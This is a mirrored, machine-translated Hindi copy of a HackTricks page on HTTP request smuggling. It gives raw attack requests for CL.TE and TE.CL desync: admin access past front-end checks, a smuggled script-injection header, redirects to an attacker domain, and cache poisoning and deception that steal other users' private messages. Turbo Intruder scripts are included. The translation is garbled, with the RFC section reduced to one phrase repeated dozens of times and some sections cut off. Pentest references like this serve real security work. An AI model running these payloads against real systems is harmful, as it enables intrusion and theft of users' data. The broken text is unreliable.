Mirrors/hacktricks

Fork 0

mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00

Translator workflow 75e8745ba3 Translated to Hindi

2023-11-06 08:38:02 +00:00

42 KiB

Raw Blame History

HTTP Request Smuggling / HTTP Desync Attack

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

क्या आप एक साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? SUBSCRIPTION PLANS की जांच करें!
खोजें The PEASS Family, हमारा विशेष संग्रह NFTs
प्राप्त करें official PEASS & HackTricks swag
शामिल हों 💬 Discord समूह या telegram समूह या फॉलो करें मुझे Twitter 🐦@carlospolopm.
अपने हैकिंग ट्रिक्स साझा करें hacktricks repo और hacktricks-cloud repo को PR जमा करके।

क्या है

यह सुरक्षा दुर्बलता उत्पन्न होती है जब फ्रंट-एंड प्रॉक्सी और बैक-एंड सर्वर के बीच एक असमयीकरण होता है जो एक हमलावर को एक HTTP अनुरोध भेजने की अनुमति देता है जो फ्रंट-एंड प्रॉक्सी (लोड बैलेंस / प्रतिरोध-प्रॉक्सी) द्वारा एकल अनुरोध के रूप में व्याख्या किया जाएगा और बैक-एंड सर्वर द्वारा 2 अनुरोध के रूप में व्याख्या किया जाएगा।
इससे उपयोगकर्ता को अपने के बाद बैक-एंड सर्वर तक पहुंचने वाले अगले अनुरोध को संशोधित करने की अनुमति मिलती है।

सिद्धांत

RFC निर्धारण (2161)

यदि एक संदेश को एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संद

TE.CL ग़ैरसुरक्षितता

यहाँ, फ्रंट-एंड सर्वर Transfer-Encoding हैडर का उपयोग करता है और बैक-एंड सर्वर Content-Length हैडर का उपयोग करता है। हम निम्नलिखित तरीके से एक सरल HTTP अनुरोध धारणा हमला कर सकते हैं:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
\ `7b`\ `GET /404 HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 30`\
x=
0
\

इस मामले में रिवर्स-प्रॉक्सी बैक-एंड को Transfer-encoding के रूप में निर्दिष्ट करने के कारण पूरा अनुरोध भेजेगा। लेकिन, बैक-एंड केवल 7b (4 बाइट) को ही प्रोसेस करेगा जैसा कि Content-Length में निर्दिष्ट है। इसलिए, अगला अनुरोध GET /404 HTTP/1.1 से शुरू होगा।

ध्यान दें कि हालांकि हमला एक 0 के साथ समाप्त होना चाहिए, अगला अनुरोध x पैरामीटर के अतिरिक्त मानों के रूप में जोड़ा जाएगा।
इसके अलावा, एम्बेडेड अनुरोध की Content-Length अगले अनुरोध की लंबाई को निर्दिष्ट करेगी जो x पैरामीटर में जोड़ा जाएगा। यदि यह बहुत छोटा है, तो कुछ बाइट ही जोड़े जाएंगे, और यदि यह बहुत बड़ा है (अगले अनुरोध की लंबाई से बड़ा है) तो अगले अनुरोध के लिए त्रुटि उठेगी।

TE.TE ग़ैरसुरक्षितता

यहाँ, फ्रंट-एंड और बैक-एंड सर्वर दोनों Transfer-Encoding हैडर का समर्थन करते हैं, लेकिन इनमें से कोई एक सर्वर हेडर को किसी तरीके से अवरोधित करके इसे प्रोसेस नहीं कर सकता है।
Transfer-Encoding हैडर को अवरोधित करने के लिए असीमित तरीके हो सकते हैं। उदाहरण के लिए:

Transfer-Encoding: xchunked
\ `Transfer-Encoding : chunked`\
Transfer-Encoding: chunked
Transfer-Encoding: x
\ `Transfer-Encoding: chunked`\ `Transfer-encoding: x`\
Transfer-Encoding:[tab]chunked
\ `[space]Transfer-Encoding: chunked`\
X: X[\n]Transfer-Encoding: chunked
``
Transfer-Encoding
: chunked

TE हेडर को प्रोसेस नहीं करने वाले सर्वर (रिवर्स-प्रॉक्सी या बैक-एंड) के आधार पर, आपको एक CL.TE ग़ैरसुरक्षितता या TE.CL ग़ैरसुरक्षितता मिलेगी।

HTTP अनुरोध धारणा खोजना

समय तकनीकों का उपयोग करके CL.TE ग़ैरसुरक्षितता खोजना

यदि कोई एप्लिकेशन CL.TE वेरिएंट के अनुरोध धारणा के लिए सुरक्षितता के प्रति विकल्पशील है, तो निम्नलिखित तरह का एक अनुरोध भेजने से अक्सर समय में देरी होगी:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

यदि फ्रंट-एंड सर्वर Content-Length हैडर का उपयोग करता है, तो यह केवल इस अनुरोध का एक हिस्सा आगे भेजेगा, 0 को छोड़ देता है। बैक-एंड सर्वर Transfer-Encoding हैडर का उपयोग करता है, पहले चंक को प्रोसेस करता है, और फिर अगले चंक की प्रतीक्षा करता है। इससे एक दृश्यमान समय देरी होगी।

कभी-कभी, टाइमआउट प्राप्त करने की बजाय, आपको अंतिम होस्ट से 400 बेड रिक्वेस्ट प्राप्त होता है, जैसे निम्नलिखित स्थिति में, जहां एक CL.TE पेलोड भेजा जाता है:

और प्रतिक्रिया शरीर में एक त्रुटि सहित एक पुनर्निर्देशन होता है, जिसमें हैप्रोक्सी के उपयोग की संस्करण भी होती है:

टाइमिंग तकनीकों का उपयोग करके TE.CL संबंधी सुरक्षा दुरुपयोग खोजना

यदि कोई एप्लिकेशन TE.CL प्रकार के रिक्वेस्ट स्मगलिंग के लिए सुरक्षित नहीं है, तो निम्नलिखित तरह का एक रिक्वेस्ट भेजने से अक्सर समय देरी होगी:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

प्रथम-अंत सर्वर `Transfer-Encoding` हैडर का उपयोग करता है, इसलिए यह केवल इस अनुरोध का एक हिस्सा आगे भेजेगा, `X` को छोड़ देता है। बैक-एंड सर्वर `Content-Length` हैडर का उपयोग करता है, संदेश शरीर में अधिक सामग्री की उम्मीद करता है, और शेष सामग्री की पहुंच के लिए प्रतीक्षा करता है। इससे एक दृश्यमान समय देरी होगी।

HTTP अनुरोध स्मगलिंग की जांच करना

जब आपने पाया है कि समय तकनीक काम कर रही हैं, तो आपको यह प्रोब करना होगा कि आप अन्य क्लाइंट के अनुरोधों को संशोधित कर सकते हैं।
इसे करने का सबसे आसान तरीका यह है कि आप अपने अनुरोधों को दूषित करने की कोशिश करें, उदाहरण के लिए / के लिए एक 404 लौटाएं।
मूल उदाहरणों में हमने पहले ही CL.TE और TE.CL उदाहरण देखे हैं, जहां एक क्लाइंट के अनुरोध को दूषित करने के लिए /404 के लिए पूछताछ करने के लिए एक 404 प्रतिक्रिया उत्पन्न की गई थी जब क्लाइंट किसी अन्य संसाधन के लिए पूछ रहा था।

नोट

अन्य अनुरोधों के साथ हस्तक्षेप करके अनुरोध स्मगलिंग संबंधी दुर्गमता की पुष्टि करने का प्रयास करते समय कुछ महत्वपूर्ण विचारों को ध्यान में रखना चाहिए:

"हमला" अनुरोध और "सामान्य" अनुरोध को सर्वर को अलग नेटवर्क कनेक्शन का उपयोग करके भेजा जाना चाहिए। दोनों अनुरोधों को एक ही कनेक्शन के माध्यम से भेजने से यह सिद्ध नहीं होगा कि दुर्गमता मौजूद है।
"हमला" अनुरोध और "सामान्य" अनुरोध को यथासंभव समान URL और पैरामीटर नामों का उपयोग करना चाहिए। इसलिए कि कई आधुनिक एप्लिकेशन URL और पैरामीटर के आधार पर फ्रंट-एंड अनुरोधों को विभिन्न बैक-एंड सर्वरों को मार्गनिर्देशित करते हैं। समान URL और पैरामीटर का उपयोग करने से यह संभावना बढ़ जाती है कि अनुरोधों को एक ही बैक-एंड सर्वर द्वारा प्रसंस्कृत किया जाएगा, जो हमले के लिए आवश्यक है।
"सामान्य" अनुरोध की जांच करने के लिए "हमला" अनुरोध से किसी भी हस्तक्षेप की प्रभावित होने के साथ, आप उस अनुरोध को तुरंत "हमला" अनुरोध के बाद भेजना चाहिए। यदि एप्लिकेशन व्यस्त है, तो आपको दुर्गमता की पुष्टि करने के लिए कई प्रयास करने की आवश्यकता हो सकती है।
कुछ एप्लिकेशनों में, फ्रंट-एंड सर्वर लोड बैलेंसर की तरह कार्य करता है, और URL और पैरामीटर के आधार पर विभिन्न बैक-एंड सिस्टमों को अनुरोध भेजता है। यदि आपका "हमला" और "सामान्य" अनुरोध विभिन्न बैक-एंड सिस्टमों को प्रेषित किए जाते हैं, तो हमला असफल होगा। यह एक अतिरिक्त कारण है कि आपको दुर्गमता की पुष्टि करने के लिए कई बार प्रयास करने की आवश्यकता हो सकती है।
यदि आपका हमला किसी भविष्यवाणी अनुरोध के साथ हस्तक्षेप करने में सफल होता है, लेकिन यह "सामान्य" अनुरोध नहीं था जिसे आपने हस्तक्षेप की पुष्टि करने के लिए भेजा था, तो इसका अर्थ है कि दूसरे एप्लिकेशन उपयोगकर्ता को आपके हमले का प्रभाव पड़ा। यदि आप परीक्षण जारी रखते हैं, तो इससे अन्य उपयोगकर्ताओं पर अस्थिर प्रभाव पड़ सकता है, और आपको सतर्कता बरतनी चाहिए।

हॉप-बाय-हॉप हेडर के माध्यम से बलवान बनाना

हॉप-बाय-हॉप हेडर का दुरुपयोग करके आप प्रॉक्सी को संकेत कर सकते हैं कि Content-Length या Transfer-Encoding हैडर को हटा दें ताकि HTTP अनुरोध स्मगलिंग का दुरुपयोग किया जा सके।

Connection: Content-Length

अधिक जानकारी के लिए हॉप-बाय-हॉप हेडर्स के बारे में देखें:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

HTTP रिक्ति का दुरुपयोग करना

फ्रंट-एंड सुरक्षा नियंत्रण को दुर्भाग्यपूर्ण करने के लिए

कभी-कभी फ्रंट-एंड प्रॉक्सी सुरक्षा जांचें करेंगे। आप HTTP रिक्ति का दुरुपयोग करके इन्हें टाल सकते हैं क्योंकि आपको सुरक्षा को टालने की अनुमति मिलेगी। उदाहरण के लिए, इस उदाहरण में आप बाहर से /admin तक पहुंच नहीं पा रहे हैं और फ्रंट-एंड प्रॉक्सी इसे जांच रही है, लेकिन यह प्रॉक्सी एम्बेडेड अनुरोध की जांच नहीं कर रही है:

CL.TE

POST / HTTP/1.1
Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net
Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
\ `0`\
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
``
x=

TE.CL

POST / HTTP/1.1
Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net
Cookie: session=Dpll5XYw4hNEu09dGccoTjHlFNx5QY1c
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
\

फ्रंट-एंड अनुरोध पुनर्लेखन का पता लगाना

बहुत सारे एप्लिकेशनों में, फ्रंट-एंड सर्वर अनुरोधों को पुनर्लेखित करता है जो कि उन्हें बैक-एंड सर्वर को आगे भेजने से पहले, सामान्यतः कुछ अतिरिक्त अनुरोध हेडर जोड़कर करता है।
एक सामान्य कार्य है कि अनुरोध में हेडर जोड़ें X-Forwarded-For: <ग्राहक का IP> या कुछ ऐसा हेडर ताकि बैक-एंड को ग्राहक का IP पता चले।
कभी-कभी, यदि आप पता लगा सकते हैं कि अनुरोध में कौन से नए मान जोड़े गए हैं, तो आप सुरक्षा को टाल सकते हैं और छिपी हुई जानकारी/एंडपॉइंट तक पहुंच सकते हैं।

अनुरोध को पुनर्लेखित करने के लिए, आपको एक POST पैरामीटर ढूंढ़ना होगा जिसका वैल्यू बैक-एंड उत्तर में प्रतिबिंबित होगा। फिर, इस पैरामीटर का उपयोग अंतिम करें और इस तरह के एक एक्सप्लॉइट का उपयोग करें:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\
search=

इस मामले में, अगला अनुरोध search= के बाद जोड़ा जाएगा जो कि भी पैरामीटर है जिसका मान प्रतिबिंबित होगा उत्तर में, इसलिए यह अगले अनुरोध के हेडर प्रतिबिंबित करेगा।

ध्यान दें कि केवल एम्बेडेड अनुरोध के Content-Length हेडर में दिखाए गए लंबाई को प्रतिबिंबित किया जाएगा। यदि आप कम संख्या का उपयोग करते हैं, तो केवल कुछ बाइट प्रतिबिंबित होंगे, यदि आप सभी हेडरों की लंबाई से बड़ी संख्या का उपयोग करते हैं, तो एम्बेडेड अनुरोध में त्रुटि होगी। फिर, आपको एक छोटी संख्या से शुरू करनी चाहिए और इसे बढ़ाते जाना चाहिए जब तक आपको देखना नहीं होता कि आपको क्या देखना है।
ध्यान दें कि यह तकनीक एक TE.CL संक्रमण के साथ भी शोषणीय है लेकिन अनुरोध को search=\r\n0 के साथ समाप्त होना चाहिए। हालांकि, नई पंक्ति वर्णों के बावजूद मानों को खोज पैरामीटर में जोड़ा जाएगा।

अंत में ध्यान दें कि इस हमले में हम अभी भी खुद को हमला कर रहे हैं ताकि हम यह जान सकें कि फ्रंट-एंड प्रॉक्सी अनुरोध को कैसे पुनर्लेखित कर रही है।

अन्य उपयोगकर्ताओं के अनुरोध कैप्चर करना <a href="#capturing-other-users-

HTTP अनुरोध स्मगलिंग का उपयोग करके प्रतिबिंबित XSS का शोषण करना

यदि वेब पृष्ठ भी प्रतिबिंबित XSS के लिए संकटग्रस्त है, तो आप HTTP अनुरोध स्मगलिंग का दुरुपयोग करके वेब के ग्राहकों को हमला कर सकते हैं। HTTP अनुरोध स्मगलिंग से प्रतिबिंबित XSS का शोषण कुछ लाभ हैं:

यह पीड़ित उपयोगकर्ता के साथ कोई संवाद नहीं आवश्यक है
यह उन अनुरोध के भागों में XSS व्यवहार का दुरुपयोग करने के लिए उपयोग किया जा सकता है जिन्हें एक साधारित प्रतिबिंबित XSS हमले में सरलतापूर्वक नियंत्रित नहीं किया जा सकता है, जैसे कि HTTP अनुरोध हेडर।

यदि वेब प्रयोगकर्ता-एजेंट हेडर पर प्रतिबिंबित XSS के लिए संकटग्रस्त है, तो आप इस पेलोड का उपयोग करके इसे शोषित कर सकते हैं:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=Ro7YknOtbl3bxURHAAxZz84qj3PSMnSY
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
\ `0`\
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
``
A=

HTTP अनुरोध स्मगलिंग का उपयोग करके एक साइट पुनर्निर्देश को खोले निर्देश में बदलने के लिए

कई अनुप्रयोग एक URL से दूसरे URL पर साइट पुनर्निर्देश करते हैं और अनुरोध के Host हेडर में से होस्टनाम को पुनर्निर्देश URL में रखते हैं। इसका एक उदाहरण अपाचे और IIS वेब सर्वरों के डिफ़ॉल्ट व्यवहार है, जहां एक ट्रेलिंग स्लैश के बिना एक फ़ोल्डर के लिए एक अनुरोध एक पुनर्निर्देश प्राप्त करता है:

GET /home HTTP/1.1
Host: normal-website.com
``
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

यह व्यवहार सामान्यतः अहानिकारक माना जाता है, लेकिन इसे एक अनुरोध स्मगलिंग हमले में दुरुपयोग किया जा सकता है ताकि अन्य उपयोगकर्ताओं को एक बाहरी डोमेन पर पुनर्निर्देशित किया जा सके। उदाहरण के लिए:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
\ `0`\
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

स्मगलिंग अनुरोध एक अपराधी की वेबसाइट पर पुनर्निर्देश को सक्रिय करेगा, जो पीछे की ओर संचालित किए जाने वाले सर्वर द्वारा प्रसंस्कृत किए जाने वाले अगले उपयोगकर्ता के अनुरोध पर प्रभाव डालेगा। उदाहरण के लिए:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
``
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

यहां, उपयोगकर्ता का अनुरोध वेबसाइट पर एक पृष्ठ द्वारा आयातित एक जावास्क्रिप्ट फ़ाइल के लिए था। हमलावर उपयोगकर्ता को अपने जवाब में अपना जावास्क्रिप्ट पूरी तरह से प्रभावित कर सकता है।

वेब कैश पॉइज़निंग करने के लिए HTTP अनुरोध स्मगलिंग का उपयोग करना

यदि किसी भी भाग में फ्रंट-एंड बुनियादी ढांचा सामग्री कैश करता है (आमतौर पर प्रदर्शन के कारण) तो यह संभव हो सकता है कि सर्वर के प्रतिक्रिया को बदलकर उस कैश को दुर्गंधित किया जा सके। हमने पहले ही देखा है कि कैसे सर्वर से अपेक्षित वापसी मूल्य को 404 (मूल उदाहरणों में) में संशोधित किया जा सकता है, एक समान तरीके से आप /static/include.js के लिए प्रतिबंधित अनुरोध करने पर सर्वर वापसी करने के लिए /index.html की सामग्री को वापसी कर सकते हैं। इस तरह, /static/include.js की सामग्री /index.html की सामग्री के साथ कैश की ज

वेब कैश धोखाधड़ी करने के लिए एचटीटीपी अनुरोध तकनीक का उपयोग करना

वेब कैश पॉइज़निंग और वेब कैश धोखाधड़ी के बीच क्या अंतर है?

वेब कैश पॉइज़निंग में, हमलावर अनुप्रयोग को कैश में कुछ खतरनाक सामग्री संग्रहीत कराता है, और यह सामग्री कैश से अन्य अनुप्रयोग उपयोगकर्ताओं को सेवा कराई जाती है।

वेब कैश धोखाधड़ी में, हमलावर अनुप्रयोग को कैश में किसी अन्य उपयोगकर्ता की कुछ संवेदनशील सामग्री संग्रहीत कराता है, और फिर हमलावर इस सामग्री को कैश से प्राप्त करता है।

इस वैरिएंट में, हमलावर एक ऐसा अनुरोध चोरी करता है जो कुछ संवेदनशील उपयोगकर्ता-विशिष्ट सामग्री वापस करता है। उदाहरण के लिए:

POST / HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Length: 43
Transfer-Encoding: chunked
\ `0`\
GET /private/messages HTTP/1.1
Foo: X

यदि जहर एक ऐसे क्लाइंट तक पहुंचता है जो कुछ स्थिर सामग्री जैसे /someimage.png तक पहुंच रहा था जो कैश होने वाला था। पीड़ित का /private/messages का सामग्री /someimage.png में कैश हो जाएगा और हमलावर उन्हें चुरा सकेगा।
ध्यान दें कि हमलावर नहीं जानता है कि पीड़ित किस स्थिर सामग्री का उपयोग करने की कोशिश कर रहा था इसलिए शायद सबसे अच्छा तरीका इसे परीक्षण करने के लिए हमला करना है, कुछ सेकंड प्रतीक्षा करें और सभी स्थिर सामग्री को लोड करें और निजी डेटा की खोज करें।

एचटीटीपी अनुरोध तकनीक का उपयोग करके वेब कैश धोखाधड़ी को शस्त्रीकरण करना

क्या आपने कुछ एचटीटीपी अनुरोध तकनीक की कमजोरी खोजी है और आप इसे कैसे शोषण करें इसका पता नहीं है। इस प्रकार के शोषण के लिए इन अन्य शोषण विधियों का प्रयास करें:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

टर्बो इंट्रूडर स्क्रिप्ट

सीएल.टीई

https://hipotermia.pw/bb/http-desync-idor से

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

यहां से: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

अधिक जानकारी

यहां से छवि ली गई है।

उपकरण

https://github.com/anshumanpattnaik/http-request-smuggling
https://github.com/PortSwigger/http-request-smuggler
https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
https://github.com/defparam/smuggler
https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: यह उपकरण विचित्र अनुरोध छेदन के लिए उपयोगी है।

संदर्भ